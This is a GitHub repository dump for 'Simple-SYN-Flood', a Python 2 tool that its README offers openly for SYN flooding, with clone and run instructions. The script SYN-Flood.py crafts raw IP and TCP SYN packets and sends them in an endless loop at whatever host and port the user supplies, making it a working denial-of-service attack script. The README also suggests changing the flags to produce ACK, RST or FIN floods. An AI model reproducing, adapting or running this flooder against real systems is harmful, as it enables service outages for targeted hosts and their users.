├── README.md ├── LICENSE ├── .gitignore └── SYN-Flood.py /README.md: -------------------------------------------------------------------------------- 1 | # Simple-SYN-Flood 2 | There is a simple tool for SYN flood. 3 | 4 | *Only for Linux* 5 | 6 | 7 | 8 | # News 9 | 10 | You can change the script to make a ack/rst/fin/etc script. 11 | 12 | Just like : 13 | 14 | ack = 0 # 1 is using ack flag 15 | syn = 1 # 1 is using syn flag 16 | 17 | # Install 18 | git clone https://github.com/Leeon123/Simple-SYN-Flood.git 19 | cd Simple-SYN-Flood 20 | 21 | # Usage: 22 | 23 | sudo python SYN-Flood.py 24 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Leeon123 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /SYN-Flood.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | ''' 3 | Code by LeeOn123 4 | ''' 5 | import socket, sys, threading, random 6 | from struct import * 7 | from requests import * 8 | if len(sys.argv)<=2: 9 | print("Usage: python "+ sys.argv[0]+ " ") 10 | sys.exit() 11 | 12 | def checksum(msg): 13 | s = 0 14 | for i in range(0, len(msg), 2): 15 | w = (ord(msg[i]) << 8) + (ord(msg[i+1]) ) 16 | s = s + w 17 | 18 | s = (s>>16) + (s & 0xffff); 19 | s = ~s & 0xffff 20 | 21 | return s 22 | 23 | try: 24 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) 25 | except socket.error , msg: 26 | print ('Socket could not be created. Error Code : ' + str(msg[0]) +' Message ' + msg[1]) 27 | sys.exit() 28 | 29 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 30 | 31 | source_ip = get('https://api.ipify.org').text 32 | dest_ip = socket.gethostbyname(str(sys.argv[1])) 33 | 34 | def header(): 35 | ihl = 5 36 | version = 4 37 | tos = 0 38 | tot_len = 20 + 20 39 | id = random.randint(1,65535) 40 | frag_off = 0 41 | ttl = random.randint(1,255) 42 | protocol = socket.IPPROTO_TCP 43 | check = 10 44 | saddr =socket.inet_aton ( source_ip ) 45 | daddr = socket.inet_aton ( dest_ip ) 46 | ihl_version = (version << 4) + ihl 47 | global ip_header 48 | ip_header = pack('!BBHHHBBH4s4s', ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr) 49 | 50 | def tcp(): 51 | header() 52 | source = random.randint(36000, 65535) 53 | dest = int(sys.argv[2]) 54 | seq = 0 55 | ack_seq = 0 56 | doff = 5 57 | fin = 0 58 | syn = 1 59 | rst = 0 60 | psh = 0 61 | ack = 0 62 | urg = 0 63 | window = socket.htons (5840) 64 | check = 0 65 | urg_ptr = 0 66 | offset_res = (doff << 4) + 0 67 | tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) +(ack << 4) + (urg << 5) 68 | tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags, window, check, urg_ptr) 69 | source_address = socket.inet_aton( source_ip ) 70 | dest_address = socket.inet_aton(dest_ip) 71 | placeholder = 0 72 | protocol = socket.IPPROTO_TCP 73 | tcp_length = len(tcp_header) 74 | psh = pack('!4s4sBBH', source_address , dest_address , placeholder , protocol , tcp_length); 75 | psh = psh + tcp_header; 76 | tcp_checksum = checksum(psh) 77 | tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum , urg_ptr) 78 | global packet 79 | packet = ip_header + tcp_header 80 | 81 | def run(): 82 | while True: 83 | tcp() 84 | s.sendto(packet, (dest_ip , 0)) 85 | print '.', 86 | 87 | run() 88 | --------------------------------------------------------------------------------